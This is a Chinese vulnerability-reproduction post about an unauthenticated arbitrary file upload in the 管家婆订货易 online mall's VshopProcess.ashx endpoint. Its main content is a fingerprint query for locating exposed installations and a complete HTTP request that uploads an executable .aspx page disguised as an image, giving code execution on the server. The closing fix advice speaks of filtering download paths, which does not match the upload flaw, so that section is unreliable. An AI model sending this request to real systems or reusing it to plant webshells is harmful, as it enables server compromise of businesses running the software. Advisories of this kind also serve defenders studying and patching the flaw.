【漏洞复现】管家婆订货易在线商城-VshopProcess.ashx-任意文件上传漏洞

免责声明

文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞描述

管家婆订货易在线商城VshopProcess.ashx接口处存在任意文件上传漏洞，未经身份认证的攻击者可以通过该漏洞，上传恶意后门文件，深入利用可造成代码执行和服务器失陷。

影响范围

管家婆订货易在线商城

资产测绘

title="订货易"||title="管家婆分销ERP" || body="管家婆分销ERP" || body="ERP V3"

漏洞复现

POST /API/VshopProcess.ashx?action=PostFileImg HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/57.0.578.100 Safari/537.36
Accept-Encoding: gzip
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5

------WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="fileup1i"; filename="ceshi.aspx"
Content-Type: image/jpeg

<%@ Page Language="C#" %>
<% 
Response.Write("Hello World!");
System.IO.File.Delete(Request.ServerVariables["PATH_TRANSLATED"]);
%>

------WebKitFormBoundarytCOFhbEjc3IfYaY5--

修复建议

• 对下载路径进行过滤，如下载前对传入的参数进行过滤，并且对下载文件类型进行检查，是否是允许下载的类型。
• 通过防火墙等安全设备做访问控制策略或者白名单访问。